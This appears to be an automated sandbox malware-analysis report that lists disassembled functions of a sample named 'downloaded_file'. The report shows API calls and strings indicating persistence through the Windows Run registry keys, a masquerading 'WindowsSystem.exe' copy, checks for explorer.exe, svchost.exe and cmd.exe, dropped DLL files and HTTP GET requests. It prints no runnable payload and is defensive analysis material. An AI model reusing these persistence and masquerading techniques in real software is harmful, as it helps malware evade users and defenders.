Part of subcall function 0030FE20: __snwprintf.LIBCMT ref: 0030FEDA
Part of subcall function 0030FE20: lstrlenW.KERNEL32(00000000), ref: 0030FEE6
Part of subcall function 0030FE20: CoTaskMemFree.COMBASE(?), ref: 0030FEF5

CreateDirectoryW.KERNEL32(00000000,00000000), ref: 0030B701
GetLastError.KERNEL32 ref: 0030B70C
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 0030B724
__snwprintf.LIBCMT ref: 0030B74E
CreateFileW.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000), ref: 0030B773
GetLastError.KERNEL32 ref: 0030B77C
LocalFree.KERNEL32(00000000), ref: 0030B7FC
LocalFree.KERNEL32(00000000), ref: 0030B806
LocalFree.KERNEL32(00000000), ref: 0030B851

Strings

%s%s, xrefs: 0030B740
P, xrefs: 0030B795
WindowsSystem.exe, xrefs: 0030B737

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: Local$Free$lstrlen$AllocCreateErrorLast__snwprintf$DirectoryFileFolderKnownPathTask
String ID: %s%s$P$WindowsSystem.exe
API String ID: 3676116642-2053195313
Opcode ID: 5831d326da179102edc572144e6840d863d9a6666a8b5ad01bfb1fe8d3664b71
Instruction ID: fc931ee16a83c947dd3f3f56f7f1b37310d7bc65cf0de4f07d89791a4bf00b80
Opcode Fuzzy Hash: 5831d326da179102edc572144e6840d863d9a6666a8b5ad01bfb1fe8d3664b71
Instruction Fuzzy Hash: 16416F75D01209EBDB22DBE4DC59BEEBB78AF48711F108528E215B62D0C7749E80CF61

Function 00319150 Relevance: 30.1, APIs: 15, Strings: 2, Instructions: 390COMMON

Download Yara Rule

Strings

<, xrefs: 003192E6
GET, xrefs: 00319407

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID:
String ID: <$GET
API String ID: 0-427699995
Opcode ID: 823adb539ce1f472b3cc235dbf49946ab0b5b7e8e47bb67f2ae2ae762639b855
Instruction ID: 2d772398a3f22282e37109120a6f183f961b47ad798f4f6bfca32b1af25f9e9d
Opcode Fuzzy Hash: 823adb539ce1f472b3cc235dbf49946ab0b5b7e8e47bb67f2ae2ae762639b855
Instruction Fuzzy Hash: 59021970900318DFEB29CFA4DD95BEEB7B9BF48710F104699E509AB280D7749A85CF50

Function 00319750 Relevance: 30.1, APIs: 15, Strings: 2, Instructions: 369COMMON

Download Yara Rule

Strings

<, xrefs: 0031988B
GET, xrefs: 003199A3

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID:
String ID: <$GET
API String ID: 0-427699995
Opcode ID: a9eba876acba732a5e5f3b9976efd5839ce53ba24e397240f2c3bb596f27c7ec
Instruction ID: 96fba26775fe6e71989d9f6c759e1ade490ec0f9c1a95ba5bac76a0dc0e996e8
Opcode Fuzzy Hash: a9eba876acba732a5e5f3b9976efd5839ce53ba24e397240f2c3bb596f27c7ec
Instruction Fuzzy Hash: CFF10070A00218DFDB65CFA4CD99BEDB7B9BF48700F108599E54AAB280DB749AC4CF50

Function 0030BA30 Relevance: 29.8, APIs: 14, Strings: 3, Instructions: 92memoryfilesynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 0030BA41
SHGetKnownFolderPath.SHELL32(00337C00,00000000,00000000,?), ref: 0030BA5F
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 0030BA74
__snwprintf.LIBCMT ref: 0030BA9E
CreateFileW.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0030BAC0
CloseHandle.KERNEL32(000000FF), ref: 0030BAEF
LocalFree.KERNEL32(00000000), ref: 0030BB00
CoTaskMemFree.COMBASE(?), ref: 0030BB0A
OpenEventW.KERNEL32(00100002,00000000,{DD700AA6-D197-4A4A-838A-B93EA96F236B}), ref: 0030BB1C
SetEvent.KERNEL32(00000000), ref: 0030BB2F
CloseHandle.KERNEL32(00000000), ref: 0030BB39
CloseHandle.KERNEL32(000000FF), ref: 0030BB4B
LocalFree.KERNEL32(00000000), ref: 0030BB55
CoTaskMemFree.COMBASE(?), ref: 0030BB5F

Strings

%s\%s, xrefs: 0030BA90
UNLOAD.TXT, xrefs: 0030BA87
{DD700AA6-D197-4A4A-838A-B93EA96F236B}, xrefs: 0030BB10

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: Free$CloseHandleLocal$EventTask$AllocCreateFileFolderKnownObjectOpenPathSingleWait__snwprintf
String ID: %s\%s$UNLOAD.TXT${DD700AA6-D197-4A4A-838A-B93EA96F236B}
API String ID: 1432346771-3124979191
Opcode ID: cdf08558ca2e2a398a3f59c7ad4b5e171d3263b5c68544596283d6b5fe657330
Instruction ID: a8523a8d6c7bec30fa58a0da0e63b9072a70a6a84669748ecbf43e120b85ddaa
Opcode Fuzzy Hash: cdf08558ca2e2a398a3f59c7ad4b5e171d3263b5c68544596283d6b5fe657330
Instruction Fuzzy Hash: F2316175E01304FBDB369BA4DC5EBADBB78EB08711F108658F615A62D0D7789A80CB50

Function 00312560 Relevance: 29.8, APIs: 10, Strings: 7, Instructions: 84registrymemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0030FE20: SHGetKnownFolderPath.SHELL32(?,00000000,00000000,?), ref: 0030FE74
Part of subcall function 0030FE20: lstrlenW.KERNEL32(?), ref: 0030FE86
Part of subcall function 0030FE20: lstrlenW.KERNEL32(00371110), ref: 0030FE99
Part of subcall function 0030FE20: LocalAlloc.KERNEL32(00000040,?), ref: 0030FEB2
Part of subcall function 0030FE20: __snwprintf.LIBCMT ref: 0030FEDA
Part of subcall function 0030FE20: lstrlenW.KERNEL32(00000000), ref: 0030FEE6
Part of subcall function 0030FE20: CoTaskMemFree.COMBASE(?), ref: 0030FEF5

LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 0031258B
wnsprintfW.SHLWAPI ref: 003125BA
RegOpenKeyW.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,?), ref: 003125DD
RegSetValueExW.ADVAPI32(?,00376FC8,00000000,00000001,?,?), ref: 00312600
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,00316AED), ref: 0031260A
RegOpenKeyW.ADVAPI32(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,?), ref: 00312627
RegSetValueExW.ADVAPI32(?,{AB1F3E47-AEF1-400E-A108-233A046C3A34},00000000,00000001,?,?), ref: 0031264A
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,00316AED), ref: 00312654
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00316AED), ref: 0031265E
LocalFree.KERNEL32(00000000), ref: 00312668

Strings

j1, xrefs: 00312566, 00312569
{AB1F3E47-AEF1-400E-A108-233A046C3A34}, xrefs: 00312641
{34E50511-FBB8-42F8-98A2-2629192A03A0}, xrefs: 0031259E
SOFTWARE\Microsoft\Windows\CurrentVersion\Run, xrefs: 0031261D
WindowsSystem.exe, xrefs: 003125A3
Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 003125D3
%s%s %s, xrefs: 003125AC

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: Local$Freelstrlen$AllocCloseOpenValue$FolderKnownPathTask__snwprintfwnsprintf
String ID: %s%s %s$SOFTWARE\Microsoft\Windows\CurrentVersion\Run$Software\Microsoft\Windows\CurrentVersion\Run$WindowsSystem.exe${34E50511-FBB8-42F8-98A2-2629192A03A0}${AB1F3E47-AEF1-400E-A108-233A046C3A34}$j1
API String ID: 3858463887-2459602844
Opcode ID: 07c87a2a4c96ef75ea048bcb13fdede030e2aad7ae317b99063c2765dd969c22
Instruction ID: 06562f092fd24b01d81b039a50d6dedcafded6108ec1dd7d3463c07c33964a8d
Opcode Fuzzy Hash: 07c87a2a4c96ef75ea048bcb13fdede030e2aad7ae317b99063c2765dd969c22
Instruction Fuzzy Hash: 40318F75A00209BFDB36DBA0CC89FEEB77DAF48704F008418F609A6190D6B5A981CB20

Function 00312710 Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 117memoryfileCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 0031271C
_memmove.LIBCMT ref: 0031273B
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 00312788
GetTempPathW.KERNEL32(00007FFF,00000000), ref: 003127A4
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 003127B9
__snwprintf.LIBCMT ref: 003127E2
CreateFileW.KERNEL32(00000000,C0000000,00000001,00000000,00000002,00000000,00000000), ref: 003127FD
WriteFile.KERNEL32(000000FF,00000000,00000000,?,00000000), ref: 0031281E
CloseHandle.KERNEL32(000000FF), ref: 00312830
LocalFree.KERNEL32(00000000), ref: 0031283A
CloseHandle.KERNEL32(000000FF), ref: 00312849
DeleteFileW.KERNEL32(00000000), ref: 00312853
LocalFree.KERNEL32(00000000), ref: 0031285D
LocalFree.KERNEL32(00000000), ref: 00312867
LocalFree.KERNEL32(00000000), ref: 00312871

Strings

%s%s, xrefs: 003127D4

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: Local$Free$AllocFile$CloseHandle$CreateDeletePathTempWrite__snwprintf_memmove
String ID: %s%s
API String ID: 2323091063-3252725368
Opcode ID: 5a78b0c2d710ff5f298abbfcbeaf2f378b8259aa1a6bcb38cbe4d9e665f2c6cd
Instruction ID: 30eef6663aa972e2527e3a99cc9591c0e6486cd4a375569ce6c7c7bada6926ce
Opcode Fuzzy Hash: 5a78b0c2d710ff5f298abbfcbeaf2f378b8259aa1a6bcb38cbe4d9e665f2c6cd
Instruction Fuzzy Hash: 37410B75A00209EBDB25DFA4DC89FEFBBB9BF48700F104558FA15A7290C7749A90CB50

Function 00309400 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 132filememorystringCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00306D26,?,00306D8A,00000000,00000000,?), ref: 00309416
_memmove.LIBCMT ref: 00309435
lstrcpyW.KERNEL32(?,00000000,00000000,00000000), ref: 003094FF
StrStrIW.SHLWAPI(?,.DLL), ref: 00309511
CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000002,00000000,00000000), ref: 0030953C
WriteFile.KERNEL32(?,00000000,?,?,00000000), ref: 00309569
CloseHandle.KERNEL32(?), ref: 00309581
LocalFree.KERNEL32(00000000), ref: 0030958B
CloseHandle.KERNEL32(?), ref: 0030959F
LocalFree.KERNEL32(00000000), ref: 003095C9

Strings

rT=, xrefs: 00309473
.DLL, xrefs: 00309505

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: Local$CloseFileFreeHandle$AllocCreateWrite_memmovelstrcpy
String ID: .DLL$rT=
API String ID: 1779380834-3072103379
Opcode ID: 12369dfa268be29e3c2031a04437f1a397c939c0080951abf351c3dcde6f4dcb
Instruction ID: 211d48cd77ae9956f9cae649d7792657456a432893814aed7be183cddc7b320c
Opcode Fuzzy Hash: 12369dfa268be29e3c2031a04437f1a397c939c0080951abf351c3dcde6f4dcb
Instruction Fuzzy Hash: A9514C75A01208DBCB26CF94DC88FDDB7B9EB4C300F108599F649A7291C6709AC0DF50

Function 00302250 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 130processmemorysynchronizationCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00302314
GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00302328
_memset.LIBCMT ref: 0030234B
LocalAlloc.KERNEL32(00000040,?), ref: 0030239E
__snwprintf.LIBCMT ref: 003023D1
CreateProcessW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00000044,00000000), ref: 00302401
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 00302415
CloseHandle.KERNEL32(00000000), ref: 00302422
CloseHandle.KERNEL32(?), ref: 0030242F
LocalFree.KERNEL32(00000000), ref: 0030243C
LocalFree.KERNEL32(00000000), ref: 00302449

Part of subcall function 003179F0: lstrlenW.KERNEL32(?,?,?,?,?,?,?,003168E6,003347E8), ref: 00317A19

LocalFree.KERNEL32(00000000), ref: 00302467
LocalFree.KERNEL32(00000000), ref: 0030247D

Strings

D, xrefs: 00302371

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: Local$Free$CloseHandle_memset$AllocCreateDirectoryObjectProcessSingleSystemWait__snwprintflstrlen
String ID: D
API String ID: 1415010105-2746444292
Opcode ID: c42b6d23f3db09648d3f6eca40499a0749264de2e29b9c1bba960c7cec6e1ae5
Instruction ID: 2b6bd17dd25f0e0c0a8fca215ff3b69645712b2a6aecb72e83a7b45b73d259f2
Opcode Fuzzy Hash: c42b6d23f3db09648d3f6eca40499a0749264de2e29b9c1bba960c7cec6e1ae5
Instruction Fuzzy Hash: 125159B0A122289FEB26DF54DD58BDABB7CAF49304F0045D8E60DAA280D7B45BC4CF51

Function 0030BB80 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 73memorystringCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,0000FFFE,?,?,0031BC7D), ref: 0030BB8D
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 0030BBA7
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 0030BBC1
GetModuleFileNameW.KERNEL32(00000000,00000000,00007FFF), ref: 0030BBDF
GetWindowsDirectoryW.KERNEL32(00000000,00007FFF), ref: 0030BBF2
__snwprintf.LIBCMT ref: 0030BC0E
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0030BC1E
LocalFree.KERNEL32(00000000), ref: 0030BC2C
LocalFree.KERNEL32(00000000), ref: 0030BC36
LocalFree.KERNEL32(00000000), ref: 0030BC40
LocalFree.KERNEL32(00000000), ref: 0030BC51
LocalFree.KERNEL32(00000000), ref: 0030BC5B
LocalFree.KERNEL32(00000000), ref: 0030BC65

Strings

%s\explorer.exe, xrefs: 0030BC00

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: Local$Free$Alloc$DirectoryFileModuleNameWindows__snwprintflstrcmpi
String ID: %s\explorer.exe
API String ID: 150365659-2893622748
Opcode ID: 4e139395239ee232324b0d17f62fa7f1557a7c5a38e88421ecf0792e114c9cc1
Instruction ID: 19c399f30778e6f4c8251782f1ba54bbcf48eba5b1d0ebbdf9f0f1d76facbe2d
Opcode Fuzzy Hash: 4e139395239ee232324b0d17f62fa7f1557a7c5a38e88421ecf0792e114c9cc1
Instruction Fuzzy Hash: 62215174A00204FBE725EBA4DD59EADBB7DAF48701F104478FA0AE62D0CB749A80CB10

Function 0030BC80 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 73memorystringCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,0000FFFE,?,?,0031BCBF), ref: 0030BC8D
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 0030BCA7
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 0030BCC1
GetModuleFileNameW.KERNEL32(00000000,00000000,00007FFF), ref: 0030BCDF
GetSystemDirectoryW.KERNEL32(00000000,00007FFF), ref: 0030BCF2
__snwprintf.LIBCMT ref: 0030BD0E
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0030BD1E
LocalFree.KERNEL32(00000000), ref: 0030BD2C
LocalFree.KERNEL32(00000000), ref: 0030BD36
LocalFree.KERNEL32(00000000), ref: 0030BD40
LocalFree.KERNEL32(00000000), ref: 0030BD51
LocalFree.KERNEL32(00000000), ref: 0030BD5B
LocalFree.KERNEL32(00000000), ref: 0030BD65

Strings

%s\svchost.exe, xrefs: 0030BD00

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: Local$Free$Alloc$DirectoryFileModuleNameSystem__snwprintflstrcmpi
String ID: %s\svchost.exe
API String ID: 4247545968-1955667316
Opcode ID: 7c3487dea402e997d56ee763bbe3174e9227b58988d75116c82ddac198629d71
Instruction ID: e178c9adfaa52fd5edb13830337e0bed4c61d9b02465bbe2affb64adcc7cec5e
Opcode Fuzzy Hash: 7c3487dea402e997d56ee763bbe3174e9227b58988d75116c82ddac198629d71
Instruction Fuzzy Hash: 97213174A10205FBD735AFA4DC59EADFB79AF48701F104578FA09EA2D0DB749A80CB10

Function 0030BD80 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 73memorystringCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,0000FFFE,?,?,0031BD01), ref: 0030BD8D
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 0030BDA7
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 0030BDC1
GetModuleFileNameW.KERNEL32(00000000,00000000,00007FFF), ref: 0030BDDF
GetSystemDirectoryW.KERNEL32(00000000,00007FFF), ref: 0030BDF2
__snwprintf.LIBCMT ref: 0030BE0E
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0030BE1E
LocalFree.KERNEL32(00000000), ref: 0030BE2C
LocalFree.KERNEL32(00000000), ref: 0030BE36
LocalFree.KERNEL32(00000000), ref: 0030BE40
LocalFree.KERNEL32(00000000), ref: 0030BE51
LocalFree.KERNEL32(00000000), ref: 0030BE5B
LocalFree.KERNEL32(00000000), ref: 0030BE65

Strings

%s\cmd.exe, xrefs: 0030BE00

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: Local$Free$Alloc$DirectoryFileModuleNameSystem__snwprintflstrcmpi
String ID: %s\cmd.exe
API String ID: 4247545968-923833829
Opcode ID: b8be6886c4009e7c6ad66404fbcece0157b17d7158f623e6d4745776ce1df5e0
Instruction ID: d0ca6d66a1f758fc097e8b00da462af36db7dc37c2f43f23ec1fb9dac34aafb3
Opcode Fuzzy Hash: b8be6886c4009e7c6ad66404fbcece0157b17d7158f623e6d4745776ce1df5e0
Instruction Fuzzy Hash: C6213175E00309FBDB169BA4ED99FAEB7BAAF08701F104564F705A62D0DB749A04CB10

Function 00310500 Relevance: 23.2, APIs: 11, Strings: 2, Instructions: 404memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000FA0), ref: 00310607
LocalFree.KERNEL32(00000000), ref: 00310C5A
LocalFree.KERNEL32(00000000), ref: 00310C70
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 00310C8D

Strings

_DllMain@12, xrefs: 00310570
@, xrefs: 00310641

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
